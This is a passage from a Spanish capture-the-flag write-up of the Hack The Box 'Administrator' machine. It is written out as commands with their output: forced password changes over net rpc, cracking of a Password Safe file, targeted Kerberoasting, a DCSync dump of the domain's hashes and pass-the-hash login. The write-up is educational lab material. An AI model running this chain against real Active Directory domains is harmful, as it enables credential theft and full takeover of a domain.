<p>Para cambiar la contraseña se ha utilizado net rpc</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>net rpc password "michael" "michael123" -U "administrator.htb"/"olivia"%"ichliebedich" -S 10.10.11.42
</code></pre></div></div>

<p>Una vez cambiada podemos comprobar que las nuevas credenciales son válidas con netexec, tanto por SMB como WinRM</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ netexec smb 10.10.11.42 -u michael -p 'michael123'
SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\michael:michael123
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ netexec winrm 10.10.11.42 -u michael -p 'michael123'
WINRM       10.10.11.42     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
WINRM       10.10.11.42     5985   DC               [+] administrator.htb\michael:michael123 (Pwn3d!)
</code></pre></div></div>

<h2 id="movimiento-lateral-michael---benjamin">Movimiento Lateral (Michael -&gt; Benjamin)</h2>

<p>Volviendo a Bloodhound y comprobando los permisos de michael, se observa que este usuario tiene permiso de ForceChangePassword sobre benjamin, lo que le permite cambiarle la contraseña. Por lo que se volverá a realizar la misma técnica que en el paso anterior.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>net rpc password "benjamin" "benjamin123" -U "administrator.htb"/"michael"%"michael123" -S 10.10.11.42
</code></pre></div></div>

<p>Una vez cambiada podemos comprobar que las nuevas credenciales son válidas con netexec, solo por SMB.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ netexec smb 10.10.11.42 -u benjamin -p 'benjamin123'
SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\benjamin:benjamin123
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ netexec winrm 10.10.11.42 -u benjamin -p 'benjamin123'
WINRM       10.10.11.42     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
WINRM       10.10.11.42     5985   DC               [-] administrator.htb\benjamin:benjamin123
</code></pre></div></div>

<p>Enumerando con este usuario no parece tener permisos explotables ni en la máquina ni en el Directorio Activo. Recordando que teníamos el puerto 21 abierto en la máquina, usando netexec se ha comprobado si estas credenciales nos sirven para acceder.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ netexec ftp administrator.htb -u benjamin -p benjamin123
FTP         10.10.11.42     21     administrator.htb [+] benjamin:benjamin123
</code></pre></div></div>

<p>Son validas! Eso es porque Benjamin está en el grupo Share Moderates, como puedo ver desde mi shell como Olivia.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>*Evil-WinRM* PS C:\Users\olivia\Documents&gt; net user benjamin
User name                    benjamin
Full Name                    Benjamin Brown
...[snip]...

Local Group Memberships      *Share Moderators
Global Group memberships     *Domain Users
The command completed successfully.
</code></pre></div></div>

<h2 id="movimiento-lateral-benjamin---usertxt">Movimiento Lateral (Benjamin -&gt; user.txt)</h2>

<p>Cuando entramos con el usuario benjamin al ftp podemos obtener el archivo Backup.psafe3.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ ftp 10.10.11.42
Connected to 10.10.11.42.
220 Microsoft FTP Service
Name (10.10.11.42:oxdf): benjamin
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp&gt; ls
229 Entering Extended Passive Mode (|||60887|)
125 Data connection already open; Transfer starting.
10-05-24  08:13AM                  952 Backup.psafe3
226 Transfer complete.
ftp&gt; get Backup.psafe3
local: Backup.psafe3 remote: Backup.psafe3
229 Entering Extended Passive Mode (|||60902|)
125 Data connection already open; Transfer starting.
100% |*************************************************************************|   952        6.67 KiB/s    00:00 ETA
226 Transfer complete.
WARNING! 3 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
952 bytes received in 00:00 (6.66 KiB/s)
</code></pre></div></div>

<p>Podemos saber que el fichero es un Password Save V3 database usando el comando file</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ file Backup.psafe3
Backup.psafe3: Password Safe V3 database
</code></pre></div></div>

<p>Se observa que el fichero esta protegido por una contraseña por lo que se ha utilizado pwsafe2john y posteriormente john the ripper para romper esta contraseña.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ pwsafe2john Backup.psafe3 &gt; pwsafedump.txt
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ john pwsafedump.txt --wordlist=/usr/share/wordlist/rockyou.txt
...[snip]...
tekieromucho  (Backu)
...[snip]...
</code></pre></div></div>

<p>La contraseña es tekieromucho. Una vez obtenida la contraseña se ha descargado y instalado la última version de Password Safe desde <a href="https://github.com/pwsafe/pwsafe/releases?q=non-windows&amp;expanded=true">GitHub</a>. Al ejecutarse y introducir la contraseña, se pueden observar tres usuarios:</p>

<p><img src="/assets/images/htb-writeup-administrator/users.png" alt="" /></p>

<p>Si probamos las tres contraseñas, detectamos que la única válida es la de emily, que también nos sirve para WinRM.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ netexec smb administrator.htb -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb

└─$ netexec winrm administrator.htb -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
WINRM       10.10.11.42     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
WINRM       10.10.11.42     5985   DC               [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb (Pwn3d!)
</code></pre></div></div>

<p>Con este usuario podemos obtener la primera flag.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>*Evil-WinRM* PS C:\Users\emily\desktop&gt; cat user.txt
142aa43f************************
</code></pre></div></div>

<h2 id="escalada-de-privilegios">Escalada de Privilegios</h2>

<p>Volviendo a Bloodhound, si revisamos los permisos de emily, se puede observar que tiene privilegio de GenericAll contra Ethan, que es un Administrador del Dominio y puede realizar DCSync contra el dominio.</p>

<p><img src="/assets/images/htb-writeup-administrator/emily.png" alt="" /></p>

<p>El permiso GenericAll otorga control total sobre el objeto afectado, lo que permite a emily modificar atributos críticos del usuario Ethan, incluyendo su contraseña, pertenencia a grupos o delegación de permisos.</p>

<p>Dado que Ethan es miembro del grupo Domain Admins, comprometer esta cuenta implica un control completo sobre el dominio. Además, este nivel de privilegio permite realizar un ataque DCSync, mediante el cual es posible replicar credenciales del controlador de dominio y obtener los hashes de todas las cuentas del dominio, incluyendo krbtgt.</p>

<p>En consecuencia, el privilegio GenericAll de emily sobre Ethan representa una ruta directa de escalada de privilegios hasta Domain Admin y compromiso total del dominio.</p>

<h3 id="targeted-kerberoasting">Targeted Kerberoasting</h3>

<p>Un nombre principal de servicio (SPN) es un identificador único que asocia una instancia de servicio con una cuenta de servicio en Kerberos. El kerberoasting es un ataque en el que un usuario autenticado solicita un ticket para un servicio mediante su SPN, y el ticket que se devuelve está cifrado con la contraseña del usuario asociado a ese servicio. Si esa contraseña es débil, se puede descifrar mediante fuerza bruta sin conexión.</p>

<p>Para realizar un kerberoast dirigido, se utiliza el privilegio GenericWrite para dar a Ethan un SPN. A continuación, se puede solicitar un ticket para ese servicio falso y obtener un ticket cifrado con el hash de la contraseña de Ethan. Si esa contraseña es débil, se puede descifrarla sin conexión.</p>

<p>Se ha utilizado la herramienta <a href="https://github.com/ShutdownRepo/targetedKerberoast.git">targetedkerberoast.py</a></p>

<p>Ahora me aseguraré de que mi reloj esté sincronizado y ejecutaré el script, que detectará los privilegios de escritura de la usuaria emily, añadirá un SPN, obtendrá el hash y luego limpiará.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ sudo ntpdate administrator.htb
2025-04-16 01:40:05.191473 (+0000) +26969.718771 +/- 0.046738 administrator.htb 10.10.11.42 s1 no-leap
CLOCK: time stepped by 26969.718771
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ .\targetedKerberoast.py -v -d 'administrator.htb' -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb
Installed 26 packages in 24ms
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$e7458cb1f13711cedb8f591a5d166b9f$5bdc26...[snip]...
[VERBOSE] SPN removed successfully for (ethan)
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">hashcat</code> con <code class="language-plaintext highlighter-rouge">rockyou.txt</code> rompe el hash en unos pocos segundos.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ hashcat ethan.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
...[snip]...
$krb5tgs$23$_ethan$ADMINISTRATOR.HTB$administrator.htb/ethan_$82e55c4be49...[snip]...:limpbizkit
...[snip]...
</code></pre></div></div>

<p>La contraseña del usuario ethan es “limpbizkit”. Este usuario tiene privilegio de DCSync contra el dominio, por lo que podemos obtener todos los hashes usando impacket-secretsdump.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ impacket-secretsdump 'administrator.htb'/'ethan':'limpbizkit'@'10.10.11.42'
Impacket v0.13.0.dev0+20241024.90011.835e1755 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:02cb8258df07966e32677128e5ff1d26:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:02cb8258df07966e32677128e5ff1d26:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
Administrator:des-cbc-md5:403286f7cdf18385
krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648
krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94
krbtgt:des-cbc-md5:2c0bc7d0250dbfc7
administrator.htb\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3
administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48
administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9
administrator.htb\michael:aes256-cts-hmac-sha1-96:811213be007de8ae1e546aaed7c6ac42343d7211a60f938d69733bce9ae2c5c9
administrator.htb\michael:aes128-cts-hmac-sha1-96:31dbcbe5dbd7ccb1faf5272d83e0f8eb
administrator.htb\michael:des-cbc-md5:0dbf5134d0c2ec8a
administrator.htb\benjamin:aes256-cts-hmac-sha1-96:f88ef08792b0955ae4ccebf7768098b1fe0ae67c84d72c0dcc48c5e7fcb38bae
administrator.htb\benjamin:aes128-cts-hmac-sha1-96:e189232083e5dbfcf489d46181fe7e73
administrator.htb\benjamin:des-cbc-md5:d085a40489fdb6a4
administrator.htb\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4
administrator.htb\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218
administrator.htb\emily:des-cbc-md5:804343fb6e0dbc51
administrator.htb\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f
administrator.htb\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f
administrator.htb\ethan:des-cbc-md5:58387aef9d6754fb
administrator.htb\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6
administrator.htb\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade
administrator.htb\alexander:des-cbc-md5:49ba9dcb6d07d0bf
administrator.htb\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82
administrator.htb\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e
administrator.htb\emma:des-cbc-md5:3249fba89813ef5d
DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb
DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d
DC$:des-cbc-md5:f483547c4325492a
[*] Cleaning up...
</code></pre></div></div>

<p>Con el hash de Administrador podemos acceder a la máquina y obtener la flag final.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─$ evil-winrm -i 10.10.11.42 -u administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents&gt;
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>*Evil-WinRM* PS C:\Users\Administrator\desktop&gt; cat root.txt
4cf2d737************************
</code></pre></div></div>]]></content><author><name>marcgoam</name><email>marcgoam@gmail.com</email></author><category term="hackthebox" /><category term="infosec" /><category term="AD" /><category term="kerberoasting" /><category term="ACL" /><summary type="html"><![CDATA[Este es el write-up de Administrator, una máquina Windows de dificultad media centrada en el abuso de Active Directory, donde los permisos ACL inadecuados, la reutilización de credenciales y el Kerberoasting conducen al compromiso total del dominio.]]></summary></entry></feed>